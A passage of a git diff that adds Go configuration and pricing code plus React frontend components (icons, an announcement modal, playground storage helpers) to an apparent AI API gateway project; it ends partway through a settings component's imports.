+	Key  string `json:"key,omitempty"`
+	Path string `json:"path,omitempty"`
+}
+
+type ChannelAffinityRule struct {
+	Name             string                     `json:"name"`
+	ModelRegex       []string                   `json:"model_regex"`
+	PathRegex        []string                   `json:"path_regex"`
+	UserAgentInclude []string                   `json:"user_agent_include,omitempty"`
+	KeySources       []ChannelAffinityKeySource `json:"key_sources"`
+
+	ValueRegex string `json:"value_regex"`
+	TTLSeconds int    `json:"ttl_seconds"`
+
+	ParamOverrideTemplate map[string]interface{} `json:"param_override_template,omitempty"`
+
+	SkipRetryOnFailure bool `json:"skip_retry_on_failure"`
+
+	IncludeUsingGroup bool `json:"include_using_group"`
+	IncludeModelName  bool `json:"include_model_name"`
+	IncludeRuleName   bool `json:"include_rule_name"`
+}
+
+type ChannelAffinitySetting struct {
+	Enabled           bool                  `json:"enabled"`
+	SwitchOnSuccess   bool                  `json:"switch_on_success"`
+	MaxEntries        int                   `json:"max_entries"`
+	DefaultTTLSeconds int                   `json:"default_ttl_seconds"`
+	Rules             []ChannelAffinityRule `json:"rules"`
+}
+
+var codexCliPassThroughHeaders = []string{
+	"Originator",
+	"Session_id",
+	"User-Agent",
+	"X-Codex-Beta-Features",
+	"X-Codex-Turn-Metadata",
+}
+
+var claudeCliPassThroughHeaders = []string{
+	"X-Stainless-Arch",
+	"X-Stainless-Lang",
+	"X-Stainless-Os",
+	"X-Stainless-Package-Version",
+	"X-Stainless-Retry-Count",
+	"X-Stainless-Runtime",
+	"X-Stainless-Runtime-Version",
+	"X-Stainless-Timeout",
+	"User-Agent",
+	"X-App",
+	"Anthropic-Beta",
+	"Anthropic-Dangerous-Direct-Browser-Access",
+	"Anthropic-Version",
+}
+
+func buildPassHeaderTemplate(headers []string) map[string]interface{} {
+	clonedHeaders := make([]string, 0, len(headers))
+	clonedHeaders = append(clonedHeaders, headers...)
+	return map[string]interface{}{
+		"operations": []map[string]interface{}{
+			{
+				"mode":        "pass_headers",
+				"value":       clonedHeaders,
+				"keep_origin": true,
+			},
+		},
+	}
+}
+
+var channelAffinitySetting = ChannelAffinitySetting{
+	Enabled:           true,
+	SwitchOnSuccess:   true,
+	MaxEntries:        100_000,
+	DefaultTTLSeconds: 3600,
+	Rules: []ChannelAffinityRule{
+		{
+			Name:       "codex cli trace",
+			ModelRegex: []string{"^gpt-.*$"},
+			PathRegex:  []string{"/v1/responses"},
+			KeySources: []ChannelAffinityKeySource{
+				{Type: "gjson", Path: "prompt_cache_key"},
+			},
+			ValueRegex:            "",
+			TTLSeconds:            0,
+			ParamOverrideTemplate: buildPassHeaderTemplate(codexCliPassThroughHeaders),
+			SkipRetryOnFailure:    true,
+			IncludeUsingGroup:     true,
+			IncludeRuleName:       true,
+			UserAgentInclude:      nil,
+		},
+		{
+			Name:       "claude cli trace",
+			ModelRegex: []string{"^claude-.*$"},
+			PathRegex:  []string{"/v1/messages"},
+			KeySources: []ChannelAffinityKeySource{
+				{Type: "gjson", Path: "metadata.user_id"},
+			},
+			ValueRegex:            "",
+			TTLSeconds:            0,
+			ParamOverrideTemplate: buildPassHeaderTemplate(claudeCliPassThroughHeaders),
+			SkipRetryOnFailure:    true,
+			IncludeUsingGroup:     true,
+			IncludeRuleName:       true,
+			UserAgentInclude:      nil,
+		},
+	},
+}
+
+func init() {
+	config.GlobalConfig.Register("channel_affinity_setting", &channelAffinitySetting)
+}
+
+func GetChannelAffinitySetting() *ChannelAffinitySetting {
+	return &channelAffinitySetting
+}
diff --git a/_all-in-one-upload/new-api/setting/payment_stripe.go b/_all-in-one-upload/new-api/setting/payment_stripe.go
new file mode 100644
index 0000000..d97120c
--- /dev/null
+++ b/_all-in-one-upload/new-api/setting/payment_stripe.go
@@ -0,0 +1,8 @@
+package setting
+
+var StripeApiSecret = ""
+var StripeWebhookSecret = ""
+var StripePriceId = ""
+var StripeUnitPrice = 8.0
+var StripeMinTopUp = 1
+var StripePromotionCodesEnabled = false
diff --git a/_all-in-one-upload/new-api/types/price_data.go b/_all-in-one-upload/new-api/types/price_data.go
new file mode 100644
index 0000000..93bc6ae
--- /dev/null
+++ b/_all-in-one-upload/new-api/types/price_data.go
@@ -0,0 +1,42 @@
+package types
+
+import "fmt"
+
+type GroupRatioInfo struct {
+	GroupRatio        float64
+	GroupSpecialRatio float64
+	HasSpecialRatio   bool
+}
+
+type PriceData struct {
+	FreeModel            bool
+	ModelPrice           float64
+	ModelRatio           float64
+	CompletionRatio      float64
+	CacheRatio           float64
+	CacheCreationRatio   float64
+	CacheCreation5mRatio float64
+	CacheCreation1hRatio float64
+	ImageRatio           float64
+	AudioRatio           float64
+	AudioCompletionRatio float64
+	OtherRatios          map[string]float64
+	UsePrice             bool
+	Quota                int // 按次计费的最终额度（MJ / Task）
+	QuotaToPreConsume    int // 按量计费的预消耗额度
+	GroupRatioInfo       GroupRatioInfo
+}
+
+func (p *PriceData) AddOtherRatio(key string, ratio float64) {
+	if p.OtherRatios == nil {
+		p.OtherRatios = make(map[string]float64)
+	}
+	if ratio <= 0 {
+		return
+	}
+	p.OtherRatios[key] = ratio
+}
+
+func (p *PriceData) ToSetting() string {
+	return fmt.Sprintf("ModelPrice: %f, ModelRatio: %f, CompletionRatio: %f, CacheRatio: %f, GroupRatio: %f, UsePrice: %t, CacheCreationRatio: %f, CacheCreation5mRatio: %f, CacheCreation1hRatio: %f, QuotaToPreConsume: %d, ImageRatio: %f, AudioRatio: %f, AudioCompletionRatio: %f", p.ModelPrice, p.ModelRatio, p.CompletionRatio, p.CacheRatio, p.GroupRatioInfo.GroupRatio, p.UsePrice, p.CacheCreationRatio, p.CacheCreation5mRatio, p.CacheCreation1hRatio, p.QuotaToPreConsume, p.ImageRatio, p.AudioRatio, p.AudioCompletionRatio)
+}
diff --git a/_all-in-one-upload/new-api/web/classic/package.json b/_all-in-one-upload/new-api/web/classic/package.json
new file mode 100644
index 0000000..83b5d23
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/package.json
@@ -0,0 +1,96 @@
+{
+  "name": "react-template",
+  "version": "0.1.0",
+  "private": true,
+  "type": "module",
+  "dependencies": {
+    "@douyinfe/semi-icons": "^2.63.1",
+    "@douyinfe/semi-ui": "^2.69.1",
+    "@lobehub/icons": "^2.0.0",
+    "@visactor/react-vchart": "~1.8.8",
+    "@visactor/vchart": "~1.8.8",
+    "@visactor/vchart-semi-theme": "~1.8.8",
+    "axios": "1.15.0",
+    "clsx": "^2.1.1",
+    "dayjs": "^1.11.11",
+    "history": "^5.3.0",
+    "i18next": "^23.16.8",
+    "i18next-browser-languagedetector": "^7.2.0",
+    "katex": "^0.16.22",
+    "lucide-react": "^0.511.0",
+    "marked": "^4.1.1",
+    "mermaid": "^11.6.0",
+    "qrcode.react": "^4.2.0",
+    "react": "^18.2.0",
+    "react-dom": "^18.2.0",
+    "react-dropzone": "^14.2.3",
+    "react-fireworks": "^1.0.4",
+    "react-i18next": "^13.0.0",
+    "react-icons": "^5.5.0",
+    "react-markdown": "^10.1.0",
+    "react-router-dom": "^6.3.0",
+    "react-telegram-login": "^1.1.2",
+    "react-toastify": "^9.0.8",
+    "react-turnstile": "^1.0.5",
+    "rehype-highlight": "^7.0.2",
+    "rehype-katex": "^7.0.1",
+    "remark-breaks": "^4.0.0",
+    "remark-gfm": "^4.0.1",
+    "remark-math": "^6.0.0",
+    "sse.js": "^2.6.0",
+    "unist-util-visit": "^5.0.0",
+    "use-debounce": "^10.0.4"
+  },
+  "scripts": {
+    "dev": "vite",
+    "build": "vite build",
+    "lint": "prettier . --check",
+    "lint:fix": "prettier . --write",
+    "eslint": "bunx eslint \"**/*.{js,jsx}\" --cache",
+    "eslint:fix": "bunx eslint \"**/*.{js,jsx}\" --fix --cache",
+    "preview": "vite preview",
+    "i18n:extract": "bunx i18next-cli extract",
+    "i18n:status": "bunx i18next-cli status",
+    "i18n:sync": "bunx i18next-cli sync",
+    "i18n:lint": "bunx i18next-cli lint"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  },
+  "devDependencies": {
+    "@douyinfe/vite-plugin-semi": "^2.74.0-alpha.6",
+    "@so1ve/prettier-config": "^3.1.0",
+    "@vitejs/plugin-react": "^4.2.1",
+    "autoprefixer": "^10.4.21",
+    "code-inspector-plugin": "^1.3.3",
+    "eslint": "8.57.0",
+    "eslint-plugin-header": "^3.1.1",
+    "eslint-plugin-react-hooks": "^5.2.0",
+    "i18next-cli": "^1.10.3",
+    "postcss": "^8.5.3",
+    "prettier": "^3.0.0",
+    "tailwindcss": "^3",
+    "typescript": "4.4.2",
+    "vite": "^5.2.0"
+  },
+  "prettier": {
+    "singleQuote": true,
+    "jsxSingleQuote": true
+  },
+  "proxy": "http://localhost:3000"
+}
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/common/logo/OIDCIcon.jsx b/_all-in-one-upload/new-api/web/classic/src/components/common/logo/OIDCIcon.jsx
new file mode 100644
index 0000000..28d538e
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/common/logo/OIDCIcon.jsx
@@ -0,0 +1,57 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { Icon } from '@douyinfe/semi-ui';
+
+const OIDCIcon = (props) => {
+  function CustomIcon() {
+    return (
+      <svg
+        t='1723135116886'
+        className='icon'
+        viewBox='0 0 1024 1024'
+        version='1.1'
+        xmlns='http://www.w3.org/2000/svg'
+        p-id='10969'
+        width='20'
+        height='20'
+      >
+        <path
+          d='M512 960C265 960 64 759 64 512S265 64 512 64s448 201 448 448-201 448-448 448z m0-882.6c-239.7 0-434.6 195-434.6 434.6s195 434.6 434.6 434.6 434.6-195 434.6-434.6S751.7 77.4 512 77.4z'
+          p-id='10970'
+          fill='#2c2c2c'
+          stroke='#2c2c2c'
+          stroke-width='60'
+        ></path>
+        <path
+          d='M197.7 512c0-78.3 31.6-98.8 87.2-98.8 56.2 0 87.2 20.5 87.2 98.8s-31 98.8-87.2 98.8c-55.7 0-87.2-20.5-87.2-98.8z m130.4 0c0-46.8-7.8-64.5-43.2-64.5-35.2 0-42.9 17.7-42.9 64.5 0 47.1 7.8 63.7 42.9 63.7 35.4 0 43.2-16.6 43.2-63.7zM409.7 415.9h42.1V608h-42.1V415.9zM653.9 512c0 74.2-37.1 96.1-93.6 96.1h-65.9V415.9h65.9c56.5 0 93.6 16.1 93.6 96.1z m-43.5 0c0-49.3-17.7-60.6-52.3-60.6h-21.6v120.7h21.6c35.4 0 52.3-13.3 52.3-60.1zM686.5 512c0-74.2 36.3-98.8 92.7-98.8 18.3 0 33.2 2.2 44.8 6.4v36.3c-11.9-4.2-26-6.6-42.1-6.6-34.6 0-49.8 15.5-49.8 62.6 0 50.1 15.2 62.6 49.3 62.6 15.8 0 30.2-2.2 44.8-7.5v36c-11.3 4.7-28.5 8-46.8 8-56.1-0.2-92.9-18.7-92.9-99z'
+          p-id='10971'
+          fill='#2c2c2c'
+          stroke='#2c2c2c'
+          stroke-width='20'
+        ></path>
+      </svg>
+    );
+  }
+
+  return <Icon svg={<CustomIcon />} />;
+};
+
+export default OIDCIcon;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/common/logo/WeChatIcon.jsx b/_all-in-one-upload/new-api/web/classic/src/components/common/logo/WeChatIcon.jsx
new file mode 100644
index 0000000..f9f7057
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/common/logo/WeChatIcon.jsx
@@ -0,0 +1,55 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { Icon } from '@douyinfe/semi-ui';
+
+const WeChatIcon = () => {
+  function CustomIcon() {
+    return (
+      <svg
+        t='1709714447384'
+        className='icon'
+        viewBox='0 0 1024 1024'
+        version='1.1'
+        xmlns='http://www.w3.org/2000/svg'
+        p-id='5091'
+        width='20'
+        height='20'
+      >
+        <path
+          d='M690.1 377.4c5.9 0 11.8 0.2 17.6 0.5-24.4-128.7-158.3-227.1-319.9-227.1C209 150.8 64 271.4 64 420.2c0 81.1 43.6 154.2 111.9 203.6 5.5 3.9 9.1 10.3 9.1 17.6 0 2.4-0.5 4.6-1.1 6.9-5.5 20.3-14.2 52.8-14.6 54.3-0.7 2.6-1.7 5.2-1.7 7.9 0 5.9 4.8 10.8 10.8 10.8 2.3 0 4.2-0.9 6.2-2l70.9-40.9c5.3-3.1 11-5 17.2-5 3.2 0 6.4 0.5 9.5 1.4 33.1 9.5 68.8 14.8 105.7 14.8 6 0 11.9-0.1 17.8-0.4-7.1-21-10.9-43.1-10.9-66 0-135.8 132.2-245.8 295.3-245.8z m-194.3-86.5c23.8 0 43.2 19.3 43.2 43.1s-19.3 43.1-43.2 43.1c-23.8 0-43.2-19.3-43.2-43.1s19.4-43.1 43.2-43.1z m-215.9 86.2c-23.8 0-43.2-19.3-43.2-43.1s19.3-43.1 43.2-43.1 43.2 19.3 43.2 43.1-19.4 43.1-43.2 43.1z'
+          p-id='5092'
+        ></path>
+        <path
+          d='M866.7 792.7c56.9-41.2 93.2-102 93.2-169.7 0-124-120.8-224.5-269.9-224.5-149 0-269.9 100.5-269.9 224.5S540.9 847.5 690 847.5c30.8 0 60.6-4.4 88.1-12.3 2.6-0.8 5.2-1.2 7.9-1.2 5.2 0 9.9 1.6 14.3 4.1l59.1 34c1.7 1 3.3 1.7 5.2 1.7 2.4 0 4.7-0.9 6.4-2.6 1.7-1.7 2.6-4 2.6-6.4 0-2.2-0.9-4.4-1.4-6.6-0.3-1.2-7.6-28.3-12.2-45.3-0.5-1.9-0.9-3.8-0.9-5.7 0.1-5.9 3.1-11.2 7.6-14.5zM600.2 587.2c-19.9 0-36-16.1-36-35.9 0-19.8 16.1-35.9 36-35.9s36 16.1 36 35.9c0 19.8-16.2 35.9-36 35.9z m179.9 0c-19.9 0-36-16.1-36-35.9 0-19.8 16.1-35.9 36-35.9s36 16.1 36 35.9c-0.1 19.8-16.2 35.9-36 35.9z'
+          p-id='5093'
+        ></path>
+      </svg>
+    );
+  }
+
+  return (
+    <div>
+      <Icon svg={<CustomIcon />} />
+    </div>
+  );
+};
+
+export default WeChatIcon;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/layout/NoticeModal.jsx b/_all-in-one-upload/new-api/web/classic/src/components/layout/NoticeModal.jsx
new file mode 100644
index 0000000..c8197a5
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/layout/NoticeModal.jsx
@@ -0,0 +1,255 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useEffect, useState, useContext, useMemo } from 'react';
+import {
+  Button,
+  Modal,
+  Empty,
+  Tabs,
+  TabPane,
+  Timeline,
+} from '@douyinfe/semi-ui';
+import { useTranslation } from 'react-i18next';
+import { API, showError, getRelativeTime } from '../../helpers';
+import { marked } from 'marked';
+import {
+  IllustrationNoContent,
+  IllustrationNoContentDark,
+} from '@douyinfe/semi-illustrations';
+import { StatusContext } from '../../context/Status';
+import { Bell, Megaphone } from 'lucide-react';
+
+const NoticeModal = ({
+  visible,
+  onClose,
+  isMobile,
+  defaultTab = 'inApp',
+  unreadKeys = [],
+}) => {
+  const { t } = useTranslation();
+  const [noticeContent, setNoticeContent] = useState('');
+  const [loading, setLoading] = useState(false);
+  const [activeTab, setActiveTab] = useState(defaultTab);
+
+  const [statusState] = useContext(StatusContext);
+
+  const announcements = statusState?.status?.announcements || [];
+
+  const unreadSet = useMemo(() => new Set(unreadKeys), [unreadKeys]);
+
+  const getKeyForItem = (item) =>
+    `${item?.publishDate || ''}-${(item?.content || '').slice(0, 30)}`;
+
+  const processedAnnouncements = useMemo(() => {
+    return (announcements || []).slice(0, 20).map((item) => {
+      const pubDate = item?.publishDate ? new Date(item.publishDate) : null;
+      const absoluteTime =
+        pubDate && !isNaN(pubDate.getTime())
+          ? `${pubDate.getFullYear()}-${String(pubDate.getMonth() + 1).padStart(2, '0')}-${String(pubDate.getDate()).padStart(2, '0')} ${String(pubDate.getHours()).padStart(2, '0')}:${String(pubDate.getMinutes()).padStart(2, '0')}`
+          : item?.publishDate || '';
+      return {
+        key: getKeyForItem(item),
+        type: item.type || 'default',
+        time: absoluteTime,
+        content: item.content,
+        extra: item.extra,
+        relative: getRelativeTime(item.publishDate),
+        isUnread: unreadSet.has(getKeyForItem(item)),
+      };
+    });
+  }, [announcements, unreadSet]);
+
+  const handleCloseTodayNotice = () => {
+    const today = new Date().toDateString();
+    localStorage.setItem('notice_close_date', today);
+    onClose();
+  };
+
+  const displayNotice = async () => {
+    setLoading(true);
+    try {
+      const res = await API.get('/api/notice');
+      const { success, message, data } = res.data;
+      if (success) {
+        if (data !== '') {
+          const htmlNotice = marked.parse(data);
+          setNoticeContent(htmlNotice);
+        } else {
+          setNoticeContent('');
+        }
+      } else {
+        showError(message);
+      }
+    } catch (error) {
+      showError(error.message);
+    } finally {
+      setLoading(false);
+    }
+  };
+
+  useEffect(() => {
+    if (visible) {
+      displayNotice();
+    }
+  }, [visible]);
+
+  useEffect(() => {
+    if (visible) {
+      setActiveTab(defaultTab);
+    }
+  }, [defaultTab, visible]);
+
+  const renderMarkdownNotice = () => {
+    if (loading) {
+      return (
+        <div className='py-12'>
+          <Empty description={t('加载中...')} />
+        </div>
+      );
+    }
+
+    if (!noticeContent) {
+      return (
+        <div className='py-12'>
+          <Empty
+            image={
+              <IllustrationNoContent style={{ width: 150, height: 150 }} />
+            }
+            darkModeImage={
+              <IllustrationNoContentDark style={{ width: 150, height: 150 }} />
+            }
+            description={t('暂无公告')}
+          />
+        </div>
+      );
+    }
+
+    return (
+      <div
+        dangerouslySetInnerHTML={{ __html: noticeContent }}
+        className='notice-content-scroll max-h-[55vh] overflow-y-auto pr-2'
+      />
+    );
+  };
+
+  const renderAnnouncementTimeline = () => {
+    if (processedAnnouncements.length === 0) {
+      return (
+        <div className='py-12'>
+          <Empty
+            image={
+              <IllustrationNoContent style={{ width: 150, height: 150 }} />
+            }
+            darkModeImage={
+              <IllustrationNoContentDark style={{ width: 150, height: 150 }} />
+            }
+            description={t('暂无系统公告')}
+          />
+        </div>
+      );
+    }
+
+    return (
+      <div className='max-h-[55vh] overflow-y-auto pr-2 card-content-scroll'>
+        <Timeline mode='left'>
+          {processedAnnouncements.map((item, idx) => {
+            const htmlContent = marked.parse(item.content || '');
+            const htmlExtra = item.extra ? marked.parse(item.extra) : '';
+            return (
+              <Timeline.Item
+                key={idx}
+                type={item.type}
+                time={`${item.relative ? item.relative + ' ' : ''}${item.time}`}
+                extra={
+                  item.extra ? (
+                    <div
+                      className='text-xs text-gray-500'
+                      dangerouslySetInnerHTML={{ __html: htmlExtra }}
+                    />
+                  ) : null
+                }
+                className={item.isUnread ? '' : ''}
+              >
+                <div>
+                  <div
+                    className={item.isUnread ? 'shine-text' : ''}
+                    dangerouslySetInnerHTML={{ __html: htmlContent }}
+                  />
+                </div>
+              </Timeline.Item>
+            );
+          })}
+        </Timeline>
+      </div>
+    );
+  };
+
+  const renderBody = () => {
+    if (activeTab === 'inApp') {
+      return renderMarkdownNotice();
+    }
+    return renderAnnouncementTimeline();
+  };
+
+  return (
+    <Modal
+      title={
+        <div className='flex items-center justify-between w-full'>
+          <span>{t('系统公告')}</span>
+          <Tabs activeKey={activeTab} onChange={setActiveTab} type='button'>
+            <TabPane
+              tab={
+                <span className='flex items-center gap-1'>
+                  <Bell size={14} /> {t('通知')}
+                </span>
+              }
+              itemKey='inApp'
+            />
+            <TabPane
+              tab={
+                <span className='flex items-center gap-1'>
+                  <Megaphone size={14} /> {t('系统公告')}
+                </span>
+              }
+              itemKey='system'
+            />
+          </Tabs>
+        </div>
+      }
+      visible={visible}
+      onCancel={onClose}
+      footer={
+        <div className='flex justify-end'>
+          <Button type='secondary' onClick={handleCloseTodayNotice}>
+            {t('今日关闭')}
+          </Button>
+          <Button type='primary' onClick={onClose}>
+            {t('关闭公告')}
+          </Button>
+        </div>
+      }
+      size={isMobile ? 'full-width' : 'large'}
+    >
+      {renderBody()}
+    </Modal>
+  );
+};
+
+export default NoticeModal;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/playground/configStorage.js b/_all-in-one-upload/new-api/web/classic/src/components/playground/configStorage.js
new file mode 100644
index 0000000..d201ed6
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/playground/configStorage.js
@@ -0,0 +1,234 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import {
+  STORAGE_KEYS,
+  DEFAULT_CONFIG,
+} from '../../constants/playground.constants';
+
+const MESSAGES_STORAGE_KEY = 'playground_messages';
+
+/**
+ * 保存配置到 localStorage
+ * @param {Object} config - 要保存的配置对象
+ */
+export const saveConfig = (config) => {
+  try {
+    const configToSave = {
+      ...config,
+      timestamp: new Date().toISOString(),
+    };
+    localStorage.setItem(STORAGE_KEYS.CONFIG, JSON.stringify(configToSave));
+  } catch (error) {
+    console.error('保存配置失败:', error);
+  }
+};
+
+/**
+ * 保存消息到 localStorage
+ * @param {Array} messages - 要保存的消息数组
+ */
+export const saveMessages = (messages) => {
+  try {
+    const messagesToSave = {
+      messages,
+      timestamp: new Date().toISOString(),
+    };
+    localStorage.setItem(STORAGE_KEYS.MESSAGES, JSON.stringify(messagesToSave));
+  } catch (error) {
+    console.error('保存消息失败:', error);
+  }
+};
+
+/**
+ * 从 localStorage 加载配置
+ * @returns {Object} 配置对象，如果不存在则返回默认配置
+ */
+export const loadConfig = () => {
+  try {
+    const savedConfig = localStorage.getItem(STORAGE_KEYS.CONFIG);
+    if (savedConfig) {
+      const parsedConfig = JSON.parse(savedConfig);
+      const parsedMaxTokens = parseInt(parsedConfig?.inputs?.max_tokens, 10);
+
+      const mergedConfig = {
+        inputs: {
+          ...DEFAULT_CONFIG.inputs,
+          ...parsedConfig.inputs,
+          max_tokens: Number.isNaN(parsedMaxTokens)
+            ? parsedConfig?.inputs?.max_tokens
+            : parsedMaxTokens,
+        },
+        parameterEnabled: {
+          ...DEFAULT_CONFIG.parameterEnabled,
+          ...parsedConfig.parameterEnabled,
+        },
+        showDebugPanel:
+          parsedConfig.showDebugPanel || DEFAULT_CONFIG.showDebugPanel,
+        customRequestMode:
+          parsedConfig.customRequestMode || DEFAULT_CONFIG.customRequestMode,
+        customRequestBody:
+          parsedConfig.customRequestBody || DEFAULT_CONFIG.customRequestBody,
+      };
+
+      return mergedConfig;
+    }
+  } catch (error) {
+    console.error('加载配置失败:', error);
+  }
+
+  return DEFAULT_CONFIG;
+};
+
+/**
+ * 从 localStorage 加载消息
+ * @returns {Array} 消息数组，如果不存在则返回 null
+ */
+export const loadMessages = () => {
+  try {
+    const savedMessages = localStorage.getItem(STORAGE_KEYS.MESSAGES);
+    if (savedMessages) {
+      const parsedMessages = JSON.parse(savedMessages);
+      return parsedMessages.messages || null;
+    }
+  } catch (error) {
+    console.error('加载消息失败:', error);
+  }
+
+  return null;
+};
+
+/**
+ * 清除保存的配置
+ */
+export const clearConfig = () => {
+  try {
+    localStorage.removeItem(STORAGE_KEYS.CONFIG);
+    localStorage.removeItem(STORAGE_KEYS.MESSAGES); // 同时清除消息
+  } catch (error) {
+    console.error('清除配置失败:', error);
+  }
+};
+
+/**
+ * 清除保存的消息
+ */
+export const clearMessages = () => {
+  try {
+    localStorage.removeItem(STORAGE_KEYS.MESSAGES);
+  } catch (error) {
+    console.error('清除消息失败:', error);
+  }
+};
+
+/**
+ * 检查是否有保存的配置
+ * @returns {boolean} 是否存在保存的配置
+ */
+export const hasStoredConfig = () => {
+  try {
+    return localStorage.getItem(STORAGE_KEYS.CONFIG) !== null;
+  } catch (error) {
+    console.error('检查配置失败:', error);
+    return false;
+  }
+};
+
+/**
+ * 获取配置的最后保存时间
+ * @returns {string|null} 最后保存时间的 ISO 字符串
+ */
+export const getConfigTimestamp = () => {
+  try {
+    const savedConfig = localStorage.getItem(STORAGE_KEYS.CONFIG);
+    if (savedConfig) {
+      const parsedConfig = JSON.parse(savedConfig);
+      return parsedConfig.timestamp || null;
+    }
+  } catch (error) {
+    console.error('获取配置时间戳失败:', error);
+  }
+  return null;
+};
+
+/**
+ * 导出配置为 JSON 文件（包含消息）
+ * @param {Object} config - 要导出的配置
+ * @param {Array} messages - 要导出的消息
+ */
+export const exportConfig = (config, messages = null) => {
+  try {
+    const configToExport = {
+      ...config,
+      messages: messages || loadMessages(), // 包含消息数据
+      exportTime: new Date().toISOString(),
+      version: '1.0',
+    };
+
+    const dataStr = JSON.stringify(configToExport, null, 2);
+    const dataBlob = new Blob([dataStr], { type: 'application/json' });
+
+    const link = document.createElement('a');
+    link.href = URL.createObjectURL(dataBlob);
+    link.download = `playground-config-${new Date().toISOString().split('T')[0]}.json`;
+    link.click();
+
+    URL.revokeObjectURL(link.href);
+  } catch (error) {
+    console.error('导出配置失败:', error);
+  }
+};
+
+/**
+ * 从文件导入配置（包含消息）
+ * @param {File} file - 包含配置的 JSON 文件
+ * @returns {Promise<Object>} 导入的配置对象
+ */
+export const importConfig = (file) => {
+  return new Promise((resolve, reject) => {
+    try {
+      const reader = new FileReader();
+      reader.onload = (e) => {
+        try {
+          const importedConfig = JSON.parse(e.target.result);
+
+          if (importedConfig.inputs && importedConfig.parameterEnabled) {
+            // 如果导入的配置包含消息，也一起导入
+            if (
+              importedConfig.messages &&
+              Array.isArray(importedConfig.messages)
+            ) {
+              saveMessages(importedConfig.messages);
+            }
+
+            resolve(importedConfig);
+          } else {
+            reject(new Error('配置文件格式无效'));
+          }
+        } catch (parseError) {
+          reject(new Error('解析配置文件失败: ' + parseError.message));
+        }
+      };
+      reader.onerror = () => reject(new Error('读取文件失败'));
+      reader.readAsText(file);
+    } catch (error) {
+      reject(new Error('导入配置失败: ' + error.message));
+    }
+  });
+};
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/settings/PersonalSetting.jsx b/_all-in-one-upload/new-api/web/classic/src/components/settings/PersonalSetting.jsx
new file mode 100644
index 0000000..e735c87
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/settings/PersonalSetting.jsx
@@ -0,0 +1,668 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useContext, useEffect, useState } from 'react';
+import { useNavigate } from 'react-router-dom';
+import {
+  API,
+  copy,
+  showError,
+  showInfo,
+  showSuccess,
+  setStatusData,
+  prepareCredentialCreationOptions,
+  buildRegistrationResult,
+  isPasskeySupported,
+  setUserData,
+} from '../../helpers';
+import { UserContext } from '../../context/User';
+import { Modal } from '@douyinfe/semi-ui';
+import { useTranslation } from 'react-i18next';
+
+// 导入子组件
+import UserInfoHeader from './personal/components/UserInfoHeader';
+import AccountManagement from './personal/cards/AccountManagement';
+import NotificationSettings from './personal/cards/NotificationSettings';
+import PreferencesSettings from './personal/cards/PreferencesSettings';
+import CheckinCalendar from './personal/cards/CheckinCalendar';
+import EmailBindModal from './personal/modals/EmailBindModal';
+import WeChatBindModal from './personal/modals/WeChatBindModal';
